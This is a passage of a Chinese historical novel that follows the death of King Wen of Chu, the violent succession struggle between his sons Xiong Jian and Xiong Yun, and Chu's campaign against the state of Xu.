可从黄国到郢都,千里之遥。每走一日,文王病重一日,总是昏迷不醒。他得的是痢疾,军医当时只觉本土作战,数日便归,带药不多,而军中也没有这难见恶疾之药。等大军行至湫(jiào叫)地(今湖北宜城市东南),郢都在望之时,他箭伤并发,腹中泻血,终于支持不住了。
六月的这天深夜,他突然醒了过来,精神转好,神志清醒。对一直守在他身边的申侯说道:“汝日夜伴孤左右,悉心照料,孤感佩于心,不忍相舍。然汝聪慧而性贪,重情而心大,孤走之后,楚人必不容汝,汝勿再留郢都,可去郑国。汝陪孤多年,郑必重汝!”说着取下自己的佩玉:“今以此玉
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相送,以表不舍之情。切望珍重!”说完,疲惫地闭上眼睛。
申侯并非申国国君,而是申氏,名侯,是申国的名仕,公族成员。楚文王灭申后,是他协助楚军组织申国公族南迁那处。因相貌出众,为人八面玲珑,受到楚文王的喜爱。
申侯立即跪下,说道:“谢大王肺腑之言!臣自知不才,只愿永伴大王。郢都在望,大王必能转危为安,臣必亲见大王临朝听政,方敢离去!”
见大王闭目不语,申侯起身退下。文王传斗丹进来,拉着他的手说道:“斗卿,孤将去矣!惟世子年幼,孤心不安。汝须相助令尹,辅佐世子!亦保恽儿,切勿负孤之望!”
斗丹含泪跪下:“大王之令,下臣敢不铭记肺腑!臣必助令尹扶立世子登基!有违此誓,必刀剑穿心,粉身碎骨!”停了停,他又接着说道:“大王正值壮年,龙筋虎骨,定能挺过难关,郢都之民皆望大王凯旋而归也!”
文王闭上眼睛,心随着斗丹的话飞向郢都。他又看见了艰儿和恽儿,两人吵着闹着又抱住了他的双腿!他看见了夫人那甜美的笑意。那缤纷的桃花漫天飞舞,夫人伫立桃花丛中,仿佛在等他归来。忽然,有一个声音隐隐传来:“大王可好,曾记妾身否?”声音那么亲切,那么熟悉,震颤着他的心扉。
是丹姬,是他魂牵梦萦的丹姬!是他抛弃王囯也不忍分离的初恋!是他心中永远的痛啊!此刻,他潸然泪下,轻轻地呼唤道:“丹姬,汝今何在?”
此时,桃花飘落,江声浩荡。丹姬出现在眼前,只见她泪流满面,痛苦地说道:“大王信誓旦旦,不负云梦女儿缘,妾方以身相许。然大王竟忍心弃我,让我漂泊江湖,无家可归也!”文王心痛如割,辛酸地说道:“是孤负汝!丹姬,若再信孤,孤必伴汝生生世世!”
丹姬双眸低垂,泪如雨下:“生生世世?汝必弃我而去也!”文王热泪纵横,哽咽地说道:“不会,此生再也不会舍汝矣!”可怜的丹姬又一次相信了他,向他伸开双臂,熊赀立即扑了过去。可是,眼前云海茫茫,江涛汹涌,不见了丹姬的踪影。熊赀一惊,大叫一声,猛然跌落湖中,向无底的深渊沉落下去,眼前一片黑暗……
公元前675年6月15日,第三代楚王熊赀因病驾崩,死于征战途中。他在位十五年,建郢都,识和氏璧,灭申、息等七国,打开中原门户,深入中原腹地,威震华夏!虽然他个性恣肆张扬,却洞察秋毫,始终不用自己最喜爱却品性有重大缺陷的申侯。基于他的贡献,楚人尊他上谥:文。文者,敏而好学,修德来远,道德博闻,经纬天地。
远征的大胜没有给楚人带来喜悦。而大王和莫敖的去世,众多将士不是战死就是病死,让楚国人沉浸在无限的悲痛之中。有人开始质疑忠君爱君的模范鬻拳,是他为纳君于善而自残,却在危急时刻拒君城外,置全军安危于不顾,对众人苦劝而不听,导致大王驾崩,无数将士与文王一样死于痢疾,岂是纳君于善?
令尹王子元辅佐太子熊艰为楚文王举行隆重葬礼。出殡时,一生伴随文王的鬻拳坐着轮车在前扶柩。如浪涛汹涌的哭泣声漫过他的头顶,他一言不发,随灵柩进入陵墓,直至停柩的夕室。他亲眼看见夕室之门缓缓双合,然后自推轮车至甬道门前。当封门之际,他拔出佩剑,猛力**自己的胸膛!一阵惨烈地挣扎之后,安然靠在车背之上。
地宫之门徐徐关闭,一生侍卫文王的他,死后仍是文王的第一侍卫,守在夕室之前,永远把守着文王的大门。
第23章 哥不如弟
楚文王去世,令尹王子元、二广将军斗丹等老臣遵文王遗命,扶立世子熊艰继位。不到十岁的熊艰一登上王位,就下令校场阅兵。
这天,熊艰特意带着弟弟登上他华丽的玉辂。只见他头戴金盔,身穿金甲,在斗丹的战车引领下,站在高高的玉辂之上,从大街上驶过。身穿深色布衣的弟弟熊恽,再也不敢与他并立,躲在帷幕里不敢露头。沿街市民见年轻的新王威风凛凛,大声高喊:“大王威武!大王威武!”熊艰得意洋洋,向街道两边挥手致意,引得兴奋的市民一路欢呼。
来到校场,王子元、斗丹陪同熊艰登上阅兵台,一队队整齐、威武的军士从台前经过。看了一阵,熊艰突然回望身后的山头,仿佛想起了什么,对王子元说道:“校场太小,铲平后山,扩建校场!”
王子元愣了一下,说道:“谨遵王命!”立即叫来工尹,说道:“大王有令,铲平后山山头,扩建校场!”
工尹一听,说道:“村民田地如何处置?”
王子元一听,回望熊艰,熊艰故作没听见,一心阅兵。王子元说道:“全部铲除,令村民另觅新地!”
第二天,工尹便带着大批的兵士和劳工开始挖山。村民一见,都围了过来,要求保留菜地。工尹说道:“新王有令,铲平此山,扩建校场!”
那个索要甜瓜的老人一听就傻了!他还是不相信,问道:“新王是谁?可是那位偷瓜之王?”
工尹一听,说道:“何人对大王如此不敬?”上前来一看,见到老人,说道:“莫非是去岁阅兵之时,追赶大王之人?”
村民们一听,突然明白,大王是在报复上次偷瓜的事啊!可是,他们怎么斗得过大王?便把矛头指向老人:“老倔牛!是汝为一甜瓜得罪大王,赔我菜地!”
“他还得了莫敖金叶,快赔菜地!”
人们把怒气向老人发泄。老人无奈,跑回家里躲藏起来。村民们就在屋外怒骂。老人无处再躲,在悲愤自责中,上吊**了。
此事在百姓中迅速传开,郢都臣民议论纷纷,在叹惜老农之时,都觉得一个新登基的大王,竟然报复一个农民,胸怀太狭隘了!
有人想起老农的话,感叹道:“老人曾言:‘哥不如弟也’”
人们开始把两人作比较,一个个都觉得哥不如弟!人们想起王室之中的往事,更加议论纷纷:“若弟弟为王,必然更贤!”
“楚国王族,贤在少者!”
从此,哥不如弟的说法又一次在民间传出!一传十,十传百,不久就传入宫中,传入熊艰的耳中。
熊艰感到一种莫名的恐惧!楚国历来哥不如弟,他何尝不知?难道弟弟熊恽也像先人一样,要夺自己的王位?
他想起从前,弟弟总是对他不服,与他相争,一有机会,他必然对自己不利!今朝野都在暗中议论哥不如弟,他会怎么想?屈氏、斗氏之人都喜欢弟弟,如若帮他谋反,自己将死无葬身之地!
他在宫中坐立不安,总觉得熊恽要夺他的王位!这天,他实在忍不住了,对内侍说道:“传左右二广将军!”
楚国的宫廷卫队叫二广:即左广与右广,每广有三十辆战车,每辆战车配置五十名士兵,三十辆共有一千五百人。两广共六十辆战车,约三千人。是护卫楚王的虎贲军。斗丹辅佐熊艰登基后,升为中军元帅。其二广将军的职位,由王子元的两个儿子继任。长子王孙喜殿为左广将军,弟弟王孙游为右广将军。
王孙喜殿和王孙游来到王宫内室,熊艰说道:“熊恽意欲谋反,与人密谋篡位!尔等伺机将其密杀,必有重赏!”
“二王子与大王一母同胞,大王何忍?”哥哥王孙喜殿说道。
“我不杀他,他必杀我!若迟疑不决,我等皆人头落地!此事至要,不可告于尔父!更不可告于他人!”熊艰的眼光中,冒出一道道杀气!
两位王孙无奈,只好受命而去。
再说二位王孙的父亲王子元,是楚文王的亲弟弟,他早就痴迷于嫂嫂的美色。文王驾崩后,他便三天两头来到紫金宫,为嫂嫂送金银玉器,希望打动她的心。可息妫不为所动。这天,王子元直接对嫂嫂说道:“王兄早逝,嫂嫂年轻貌美,岂能寡居一生?若嫁与小弟,弟必专宠嫂嫂一人!嫂嫂思量!”
“不可!”桃花夫人断然答道:“为嫂已经一身二夫,岂可再嫁!大王虽去,二子尚幼,为嫂须将二子养大成人!叔叔身为令尹,须用心辅佐艰儿!用心朝政!”
王子元碰了一鼻子灰,可他痴心不改,天天来纠缠嫂嫂,根本不理朝政!这天桃花夫人为躲避王子元,对熊恽说道:“恽儿,今日随母亲去逛街市!”
熊恽一听,高兴地跳了起来,说道:“孩儿正要买一铜剑,与师傅讨教剑术!”
“我儿终日习武,还须熟读诗书!”
“完叔每日教导孩儿读书,母亲勿忧!”
原来,屈重战死后,熊艰按惯例任命屈重之子屈完**父亲的莫敖之位。桃花夫人念屈氏一门忠烈,便请屈完为熊恽之师。母命难违,熊艰只好答应。
桃花夫人难得出门,紫金宫的卫士和侍女们护卫着二人来到郢都西市。这里商品繁多,热闹非凡,大家一下被各种商品吸引,忙着买东西。突然,只见一辆马车直冲过来,那驾车之马仿佛受惊,不受控制,转眼冲到眼前,直冲熊恽而来!
熊恽正在选剑,他拿着一把柳叶铜剑左看右看,马车已冲到他的右边。他大吃一惊,身子就势一转,避开了烈马,可车轮外侧的车辐一下撞在他身上,把他掀翻在地,马车瞬间冲了过去。桃花夫人立即喊道:“快去看恽儿!”
可卫士们还没过来,一个蒙面人手持长剑,突然向熊恽刺来!这时,熊恽手中还握着柳叶铜剑,已经倒地的他本能地用剑一拨,长剑刺在他右边的地上。
“抓刺客!”卫士们一拥而上,拔剑直指刺客。只见刺客收剑,纵身一跃,转眼就跑了!
大家扶起熊恽,他腰被撞伤,但还能站立。桃花夫人冲了过来,哭道:“谁要刺杀我儿?是谁?”
柳儿说道:“此地危险,早些回宫,再做议论!”
一回宫中,桃花夫人对柳儿说道:“速请莫敖来宫!”
屈完被柳儿急急请来,听完事情经过,半天无语。这明显是熊艰所为,但他怎能说出来?桃花夫人问道:“先用车撞,再用剑刺,
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明显是要**我儿!是何人?何人如此歹毒?”
屈完不回答。他思索片刻,说道:“我有一策,保恽儿安然无恙!”
“莫敖有何良策?”
“恽儿离开郢都,前去随国!子文驻军在此,可保恽儿无恙!”
“为何要去随国?何人要杀恽儿?请莫敖明告!”桃花夫人见他脸色有异,便紧逼追问。
“必是熊艰要杀我!”熊恽一下醒悟过来!
“休得胡言!”屈完立即阻止道:“大王为何要杀骨肉同胞?杀恽儿者,必为憎恨王室之人。郢都鱼龙混杂,到处有险!若去随国,既**文学武,又熟稔县政,体察民情,何乐不为?”
桃花夫人一下傻了!她不相信艰儿会杀自己的亲弟弟。但又隐约觉得有这种可能!她不知该怎么办!转眼一想,不管是谁,恽儿离开郢都是最好的办法!
第二天,桃花夫人传王子元和屈完进紫金宫,接着,请人去召熊艰前来。
熊艰进宫,见母亲坐在大堂主座之上,令尹和若敖分坐两边,奇怪地问道:“母亲召孩儿,所为何事!”
“昨日有人谋害恽儿,大王可知!”母亲一双凌厉的眼睛盯着他。
他一下就慌了,却故作镇静地说道:“孩儿着实不知,何人谋害恽弟?”
“休得装聋作哑!那人武功身形,都似两广卫士,可是大王所下密令?”母亲怒道。
“孩儿安得谋害弟弟?孩儿冤也,人犯抓住否?可叫来对质!”
“不是大王,那会是谁?”母亲厉声问道!
“孩儿不知!母亲可将此事交给孩儿,孩儿定会查清!”熊艰知道母亲没有证据,便变被动为主动。
“等到查清原由,恽儿早已人头落地!”
“此事如何处置?请母亲做主!”熊艰急需撇清与自己的关系。
“让恽儿离开郢都!”母亲坚定地说道。
熊艰一时没有想明白,觉得这个办法可以接受,说道:“谨遵母命!恽弟想去何地?”
“大王”屈完上前说道:“可让二王子居于随国。**中原礼仪,也可体察民情。”
王子元听说要把熊恽弄走,一下兴奋起来!此子一走,紫金宫不就只剩嫂嫂一人了吗?他立即说道:“二王子天天长大,不宜久留母亲身边,前去随国,正好磨炼磨炼!”
若敖和令尹都这样说,熊艰一时不好否决,只好点头同意了。
随国曾是周王朝的侯爵大国,离息县不远。被楚武王征服后,实际成为楚国的一个县,但为安抚人心,仍保留其国号。随国与申、息两县成掎角之势,是拱卫楚国的屏障,北方的战略要地。熊艰回宫,越想越不对,熊恽处在这样的地方,又有斗谷於兔辅佐,如果他长大成势,举兵谋逆,岂不易如反掌?
他的心,总是不得安宁。这天,他又把二位王孙叫到内室,恶狠狠地说道:“前者,令你二人除掉熊恽,不料谋事不密,反让熊恽占据随国!若彼联合申、息谋逆,大楚亡矣!今令汝等潜入随国,密杀熊恽!若大事不成,尔等以死谢罪!”
两人一听,头都炸了!可是,大王杀性如魔!如不执行,自己真要没命了!(未完待续,下章更精彩)
第24章 哥不如弟(2)
二位王孙无奈,一面暗地寻觅民间武艺高手,一面派人潜入随国,打探熊恽的详细情况。经过精心准备,二人亲自带着三百名各路高手,向随国秘密进发。
深冬的这天夜晚,寒风刺骨,天空一片漆黑。只见无数黑衣人如蝙蝠一般从南墙轻身跃入随国后宫,快如旋风,见人就杀!就在这时,另外三面宫墙内突然火把齐举,把后院照得通亮!三面的箭镞如黄蜂一样向他们射来,黑衣人还未回过神来,便一片片倒下。他们定神一看,墙内墙外全是身强体壮的军士!准确有力的箭法,使这些武功了得的人避无可避!正在这时,宫墙上一个身穿银甲,宽脸大眼的人举手喊道:“停!”
箭雨立即停止。那人向黑衣人群喊道:“再不投降,尽皆诛灭!”
二位王孙立即举手出来,说道:“右帅饶命,我等投降!”
那人便是右军元帅斗谷於兔,他从宫墙上跳下来,冷笑道:“原来是二位王孙!且随我去见二王子!”
军士们一拥而上,押住两位王孙跟随子文进入侧门,穿过几道走廊,来到一间宽亮的房间。熊恽一见,气愤地说道:“二位堂哥,我与汝等无冤无仇,为何要杀我?”
两人齐齐跪下,王孙喜殿说道:“非我兄弟欲杀二王子,大王有令,不得不从!二王子明鉴!”
“休得胡言!大王与二王子乃一母同胞,岂会诛杀弟弟!”子文喝道!
“大王恐二王子夺位,交我兵符,只要能杀二王子,大军随我调遣,军中壮士随我挑选!”王孙喜殿说道,拿出半边兵符交给子文。
子文接过兵符,认真看了看,那确是大王掌管的一半,另一半在若敖屈完手中。他仍假装不信,说道:“汝等滥杀无辜,却诬赖大王!大王若知,汝等必死无葬身之地!”
两人一听,觉得回去也没有活路,便一齐求饶:“右帅救我兄弟!”
子文沉默片刻,问道:“大王果欲杀二王子?”
“正是!我等苦劝大王顾念手足之情,大王不听!”
“此等**!二王子纵然饶汝不死,汝等也终难逃一劫!”子文乘机说道。
“若能救我兄弟,唯二王子之命是从!”两人急于保命,一切都不顾了!
“起来说话。”子文亲切地说道:“当今之计,惟有废**,拥立二王子!两位若能建开元之功,二王子仁德聪慧,必会重用!”
“如何建功?”两人急不可耐地问道。
“汝仍带勇士回郢,并携上一颗酷似二王子的人头,大王见后,必喜而不疑!我必择一时辰入兵郢都,与汝里应外合,拥立新王!此开元首功,非汝二人莫属!”
“愿遵右帅之令,如有反悔,天地不容!”
熊恽大喜,上前扶起二人,说道:“我无过错,大王为何屡次加害?若二位堂哥能助小弟,小弟必不负汝父子兄弟!”
“谢王子不杀之恩!我等必效死以报,决不食言!”
第二天,随国为熊恽大举丧事。众军士也有死伤,亲人们见到血肉模糊的尸首,一个个悲痛欲绝,哭得天昏地暗。整个随县笼罩在悲痛之中!人们诅咒**的逆贼,对熊恽充满怜惜和同情。消息传遍楚国,人们又把怀疑的目光投向熊艰。
当二位王孙带着残存的队伍回到郢宫,熊艰瞥了一眼他们带回的熊恽人头,便以重金封赏!他早已得知随县为熊恽举葬的消息,心中一块石头终于落地。
公元前670年的大年到来,楚国朝野都在欢度新年,斗谷於兔带着右军深夜赶至郢都,秘密驻扎在郊外。大年初一凌晨,他手持兵符,率领三千精锐进入郢都,把楚宫大殿围住。此时,王宫卫士大多被二位王孙放假回家过年。剩下的卫士迎面杀出,不久就**退,只好死守在宫殿的各个出口。子文正要杀进宫去,意想不到的事情发生了!
就在这时,斗丹头戴铜盔,身穿铜甲,手持长戟冲了出来。前宫后殿的侧门全部打开,数千将士蜂拥而出,一个个衣甲锃亮,枪戟闪光,严阵以待!斗丹对子文说道:“不出大王所料,尔曹果然谋逆!此时投降,犹为不晚!若等大军到来,片甲不留!”
斗丹是大楚战神,其武艺之高,无人能及!思虑周密的子文低估了熊艰的实力,可他还有一张牌,便说道:“大帅,各位将士!熊艰暴戾!屡欲加害二王子!似此无德之人,怎配王位?楚国之贤,咸在少者,二王子得皇天保佑,方能化险为夷!实乃天命所归,尔等岂能抗天?”说着,把熊恽带上前来。
斗丹和中军将士一见,一片哗然。这孩子竟然没有死?真是命大啊!一个个站着不动了。
这时,二位王孙见斗丹的中军冒了出来,吓出一身冷汗。如果斗丹获胜,大王见到活着的二王子,二人岂有活路?情急之中,从来惟哥哥之命是从的弟弟王孙游说道:“当今之计,惟有杀了斗丹,再诛**!你我岂不独占开元首功?”
哥哥一听有理,立即走向斗丹。斗丹此时还在劝说熊恽:“二王子,此乃谋逆之为!念尔年幼,不究其罪。速回随县——”他话未说完,二位王孙已来到他身后,举剑一齐刺向他的后背!大楚一代战神,訇然倒在台阶上,血流如注。众将士一下懵了,不知如何是好!这时,熊艰冲了出来,喊道:“何人谋反?”
子文一见,在台阶下喊道:“二位王孙,还不动手!”
此时,熊艰已到走廊前,一见熊恽,大吃一惊!听到子文的喊声,立即转向二位王孙。二位王孙一不做,二不休,双双举剑,一齐刺向熊艰——
就在子文率军**王宫之时,郢都市民高喊:“二王子入城,争夺王位来了!”
好奇的人们开始涌向王宫。王宫内外,更是鸡飞狗跳,宫人们惊惶失措,纷纷外逃,喊声、哭声此起彼伏。
这时,桃花夫人在紫金宫听到外面的嘈杂之声,心神不安,令柳儿出去看看。柳儿出去不久,便回来说道:“外面纷传,二王子杀回来了!”
桃花夫**惊失色,她担心的事终于发生了!愣了片刻,她拔腿就往前宫大殿跑去!
她一路狂奔,冲过茅门,不久来到前殿。军士们见太后到来,纷纷让路。桃花夫人跨上台阶,拾级而上,对熊艰喊道:“艰儿,不可兄弟相残啊——”可是,抬头一看,只见二位王孙举起血淋淋的长剑,刺向了熊艰……
“艰儿——”夫人一声凄厉的尖叫,冲到熊艰身旁,将全身血淋淋的儿子抱起,撕心地哭道:“艰儿啊——”
可争斗还在进行,没有几个人顾及母亲的哭泣。
中军将士冲了过来,枪戟对准二位王孙!要诛杀弑君之人。只听子文大吼:“住手!熊艰已死,尓等还不拜见新王?”说着,护着熊恽走上宫门前台。
熊艰、斗丹已死,大势已去,中军将士和大家一起跪下:“拜见大王!”
熊恽这才看着伤心欲绝的母亲,跑了过去,喊道“母亲——”母亲回看了他一眼,一掌将他推开,号啕大哭起来……
从此,桃花夫人心如死灰,从不搭理儿子。熊恽过来请安,她也不理睬他。他恨熊恽,竟狠心杀死自己的哥哥!她也恨熊艰,总是想谋害自己的弟弟!可这两人都是自己生下来的啊!她怎么生了这么两个
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儿子?难道真是再嫁之人,殃及子孙?她又开始憎恨自己,嫌弃自己,一切都是自己作的孽啊!
在无尽的痛苦之中,她找到了养蚕织布这个排解方法。每年春天,桃花坞四周总有许多农家女子采桑养蚕,时常进入桃花坞看一片片如霞的桃花。桃花夫人从他们那里了解到许多种桑养蚕的事,兴致勃发,便把他们全召进来,在桃花坞内砍桃种桑,纺纱织布。寂静的桃花坞,从此变得生机勃勃,过去的痛苦,在忙碌中渐渐消融。与儿子的隔阂,也渐渐化解。
可是,自从儿子娶了蔡妃,不祥之感又油然而生!又是再嫁之身!难道又要重复过去的悲剧?这个女人,不但克**母亲,一嫁到楚国,更引来八国联军的讨伐!以后还会发生什么事呢?她的心,更加惴惴不安!他全身发冷,又不停地出汗,心中一阵阵惊悸不安!
第二天,她稍感心中安宁,起床喝了一碗党参黄芪羊肉羮,又吃了两块点心,便走出寝宫,要出去看看桑树冻坏了没有。这时,一名侍女进来,对她说道:“蔡妃今晨临盆,现在还未生出来!”
她心里一惊!这些天,她把那个女人忘了。现在,儿媳生产,她这个做娘的该去看看啊!便对柳儿说道:“随我去后宫,看看蔡妃!”
两人来到北宫,刚一进门,就有人喊道:“太后驾到!”
楚成王立即走上前来,说道:“闻母亲突感风寒,现在可好?”
她点点头,反问道:“生产顺利否?”
“胎儿太大,总是生不出,母亲且坐!”说完,就有侍女将茶奉上。
就在这时,只听室内“哇——”地一声,胎儿哭了出来。“生了!生了!”有接生婆撩开门帘,出来说道。满屋的人欢天喜地!楚成王立即进入产室,母亲也跟了进去。
“哈哈,不出我所料,果然是个男儿!”楚成王高兴地对蔡妃说道。见她满头是汗,睁眼都觉困难,疼爱地说道:“爱妃辛苦了!”蔡妃闭上眼,脸上露出欣慰的笑容。
“恭喜大王,贵妃生一男儿!”接生婆说着把用布托着的孩儿送过来给他看!他兴奋地抱起婴儿,左看右看,却不出声了。站在他身边的母亲也见他笑意全消,便凑过去仔细一看,只见婴儿的头特别大,可两只发黄的双眼暴突出来,样子有点吓人,再看那眉毛,又粗又长,左颠右倒,如蜂窝一般!孩子的面相有点怪啊。这时,蔡妃闭着眼睛说道:“求大王赐孩儿一名!”只见他愣了一下,说道:“容我想想!”说着把孩儿交给母亲,自己转身出去了。
桃花夫人接过婴儿,发现那暴突的眼珠望着自己,她竟然觉得似曾见过!也愣了一下,心中涌出一丝恐惧感,无语地把孩儿交给接生婆,转身走了出来。
熊恽出来,面无表情,一言不发。众人都以为他在想名字,也不出一声。等了许久许久,他开口对母亲说道:“此儿取名商臣,当否?”
桃花夫人一时不明何意,只好点点头,意味深长地说道:“人皆单名,此儿复名,与众不同也!”
“商臣!商臣!大王子名商臣!”大家都高兴地喊了起来。接生婆听到,立即告诉蔡妃。
“商臣?”蔡妃一听,也不知此名何意,问道:“大王何在?”
接生婆说道:“大王、太后都走了!”
她心里一紧,这么快就走了?“商臣、商臣!”他敏感地念着这个名字,臣,便是臣子,安分守礼之意。那“商”呢?她突然有悟:宫、商、角、徵、羽,商排名第二;而臣在君下,也排名第二!大王什么意思,难道此儿将来只能为臣,不能为君?
第25章 楚国争霸
题记:楚人崇拜齐人,却处处与齐作对。齐人恼怒楚蛮,却事事礼让楚人。细雨滋润,楚人终将开化。齐楚之情,绵绵五百年。
公元前654年春天的这天下午,阳光灿烂,春风和煦,郢都北门之外,人山人海,熙熙攘攘。楚成王带领百官和城中百姓,出城迎接东征凯旋的大楚令尹斗谷於兔。
等了大约一个时辰,东征的队伍在远处出现。斗谷於兔穿着铜盔铜甲,站立在一辆高大的战车之上,疾奔而来。斗氏三杰成得臣、斗宜生、斗勃驾车紧随其后!楚成王立即大步向前,拱手迎道:“令尹旗开得胜,剿灭弦国,立东征第一功!”
“有劳大王亲出郊迎!弦国已灭,大楚再添一县,东夷、百越必然归顺。”
楚成王回头问屈完道:“齐侯有何反应?”
“禀大王,探子回报,齐侯兵出临淄,向西而去,恐为伐晋也。”子文一听,说道:“那弦君已逃往黄国,黄与江国、蒋国皆与齐国结盟!东夷归降,尚费时日也!”子文忧虑地说道。
“我必剿灭东夷,令尹不必忧心!”楚成王信心满满地说道:“且回宫再议!”
弦国是炎帝后裔之国,是隗(kuí葵)姓的子爵国家,位于今河南东南部的光山县西北。长期依附于黄国,并与之通婚。因为弦、黄、江、蒋等都与齐国结盟,所以不把楚国放在眼里,楚国拿着天子赋予镇抚夷越的尚方宝剑,首先拿弦国小试牛刀,看齐国作何反应。
第二天,楚成王举行大朝,讨论东征的第二个目标。可大朝刚开,
一个身材修长,眉目清秀的中年人闯了进来,只见他身穿浅红锦衣,手持符节,快步向前,对楚成王躬身说道:“旧臣申侯拜见大王!”
“申侯?”楚成王见到父王的旧臣,大眼一亮,忙下座前迎:“申侯一别多年,一向可好?”
“申侯贵为郑国大夫,已为郑伯宠臣也!”斗谷於兔见到他也感亲切,笑着揶揄道。
“令尹风采依旧,不减当年也!”申侯转过身去,抱拳向子文致意!
“申侯久不来楚,今日行色匆匆,所为何事?”屈完预料有大事发生,急忙问道。
“事急矣!”申侯转向楚成王,说道:“大王在上!去年齐侯作首止之盟,拥戴天朝世子,天子震怒,下密诏令我主逃盟,南面与大楚结盟!”
楚成王点点头:“此事不谷已知!郑伯年末派上卿皇武子来楚,与我再续盟约。楚郑为盟,已历二世。”
“今齐侯大举六国之兵,以我主逃盟为由,前来讨伐!联军已至新密,我主惟恐不敌,特派下臣来楚求救!切望大王以楚郑之盟为念,派兵救我!”
楚成王一惊!齐桓公兵出临淄,原来是为伐郑!急问道:“新密为何地?”
“我主从首止回国,预料齐侯领兵来伐,故在新郑以北建一新城,号新密,以抗联军来犯!”
“大王,郑国与我结盟,乃遵天子密旨!今齐侯来伐,我必救之!”子文说道。
楚成王为难地说道:“若举兵救郑,必与齐侯开战!召陵之盟将废也!”
大家一听,都觉有理。召陵之盟刚刚两年,难道就与齐国开战?如果不救,又要违背楚、郑之盟!大家真是左右为难。
屈完一心维护召陵之盟,说道:“中原之盟岂为儿戏?不可与齐侯开战!”
可怎么救郑国?聪明伶俐的申侯一时也想不出办法。正当大家忧心之时,成得臣上前说道:“这有何难!若我讨伐齐侯必救之国,郑围可解也!”
“子玉之计善哉!然则何国为齐侯必救之国?”屈完也有这个想法,见成得臣抢先提出来,便故意考考他。
“许国!”子玉自信地微笑道。
“为何齐侯必救许国?”年轻的楚成王问道。因为他还没有完全弄清中原各国的关系。
“齐、许同为姜姓,同宗同祖,乃炎帝之裔,共公之后。其祖为太岳伯夷,是共公侄孙。当年,姜子牙封到齐国之时,太岳伯夷之后嗣许文叔同时封到许国。故两国同气连枝。此其一也!其二,齐、许又为连襟!齐侯夫人为许穆公夫人的亲姐姐,可谓亲上加亲!其三,齐侯称霸之时,许国便参与同盟,惟齐侯马首是瞻,齐侯必然感佩于心!同宗之亲、连襟之缘、同盟之谊!有此三者,齐国必救许国!”
屈完欣慰地点点头,说道:“八国联军伐我之时,许穆公以羸弱之躯,远道赶来,薨于军旅之中,齐侯奏请天子加爵两级厚葬之!可见齐、许情深!”
“此言有理!子玉深明中原事理,率前军向许国进发。令尹、若敖留郢守国,寡人率大军随后跟进!此战必大张声威,以使齐侯舍郑救许!”楚成王高兴地下令道。
“微臣遵命!”子玉也高兴地说道。这一次,他终于可以独立作战了!
许国地处今日河南许昌,包括西南的鄢陵县、北面的临颍县。都城在临颍县,子玉的前军迅疾如风,率先赶到临颕,不等楚成王下命令,他便下令猛攻。
齐桓公闻讯,立即召众臣入帐商量。了解齐桓公心思的管仲说道:“救危扶难,同盟之责也!以许国之弱,怎敌楚国之强?我必救之!”齐桓公一听,是啊,许穆公刚刚去世,那个可怜的小外甥姜业如何能抵挡楚人的进攻?便下令联军撤离新密,火速增援许国。
楚成王闻讯,下令子玉停止进攻。论年龄,齐桓公长一辈;论关系,两国又是同盟,此举不过是为救郑国,既然齐桓公已撤离新密,还有何必要与他正面交锋?可子玉不管这些!眼看就要攻破颖都,不愿罢手。斗勃劝道:“前番无令先战,今又违令不遵,恐大王加罪!”子玉这才下令停战。
齐桓公的大军随即而至!楚成王立即下令退兵回国。子玉谏道:“此时不可回国,若齐侯再伐新密,救则更难!”
楚成王摸着后脑勺一想,有道理,便问道:“依卿之计,退往何处为宜?”
子玉答道:“可退至武城!武城立于临颍与新密之间,既可监视联军,又可威胁许国!待联军散去,再撤军回国不迟!”
许国也参加了召陵之盟,也是盟国,楚成王羡慕中原文化,对中原之国有天生的好感,不愿真打。但现在退兵回国,既有惧敌之嫌,又有失去新密之虞,便依子玉。
楚国守着新密,以防联军来伐;联军守着临颍,以防楚军来攻!就这样,两军僵持不下。
蔡穆侯的夫人是许国公主,见楚国攻打许国,忧心如焚,对丈夫说道:“楚军伐我母国,夫君救之!”
姬肸说道:“齐、楚对垒,我何能救?”
“联军虽众,然对垒日久,军心必散!果若联军撤兵,楚国必伐临颍!夫君往见楚王,为许劝和,楚王或允!”
姬肸想了想,说道“我有一计,若许男应允,楚军必退!”
“夫君有何妙计?”
“若楚、许联姻,楚王必退!”
夫人一听,恍然大悟。现在蔡姬为楚王生下子嗣,楚王却不曾封后,必然在等后人。今郑、楚打得火热,如果楚王娶了郑国公主,必然封后,蔡妃便永无出头之日了!还不如先下手为强,让楚王娶许国公主!小国之女,不配与蔡妃争夺后位,且许、蔡姻亲,两人或许还能联手,共同对付其他嫔妃,岂不一举两得?
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夫人说道:“果然是妙计!夫君须往临颍,劝业儿归降楚国,与楚王联姻!”
姬肸立即赶往临颍,一入许宫,瘦得像一根豆芽菜的许男姜业立即从君位上下来,说道:“姐夫今来,正当时也!许于存亡危急之秋,姐夫救我!”
“今楚国大兵压境,联军可对垒几日?”姬肸问道。
“联军虽众,但其心不一,若对垒日久,必然撤兵!许国危矣!”
“今楚、郑为盟,乃天子所使!许处楚、郑之侧,旦夕可灭!而齐国相距遥远,救之不及也!不如待联军撤走,弟亲往楚营,以表结盟之心,楚必从之!”
“如此甚好,乞姐夫与我同往,从中周旋!”许男求道。
“那楚王正值青春有为之时,吾弟若将小妹嫁与楚王,岂不盟上加亲?吾弟何忧?”
“有劳姐夫为媒,若能与楚结亲,许之幸也!”姜业大喜。
果然,此时的齐桓公,等得左右为难,便召众诸侯商量。管仲说道:“楚军伐许,意在救郑!今驻于武城,数月不动,是恐我再伐新密也。若我班师,楚必撤军!”
众诸侯一听,立即附和。宋桓公本来有病在身,他也不想等了,说道:“楚、许无冤无仇,同为召陵结盟,我等退兵,楚师必退!”
对峙三个多月,联军的粮草都已耗尽,只好撤军而去。
时至冬日,天气渐冷,联军已撤走。楚成王正欲下令班师,忽然城内人声鼎沸,外侍入内急报:“蔡侯、许男驾到,求见大王。”
二君驾临,楚成王出帐相迎。可他刚出行宫就惊呆了!
只见瘦弱的许男姜业赤裸着上身,反绑双手,口衔玉璧,跪于行宫之前,在寒风中瑟瑟发抖!他的身后,众臣穿着白色的丧服,抬着棺材,垂头肃立。蔡穆侯也肃然站立在他的身边陪同。楚成王心中涌出一股怜惜之情,不知所措,忙问随军大夫潘崇:“此为何礼?”
“此为衔玉请罪。昔武王攻破朝歌,微子曾以此礼事武王。武王亲释其缚,受其玉璧,焚其棺木,为微子举行消灾祈福之祭礼!”年近四十,身材瘦长的潘崇流利地回答道。
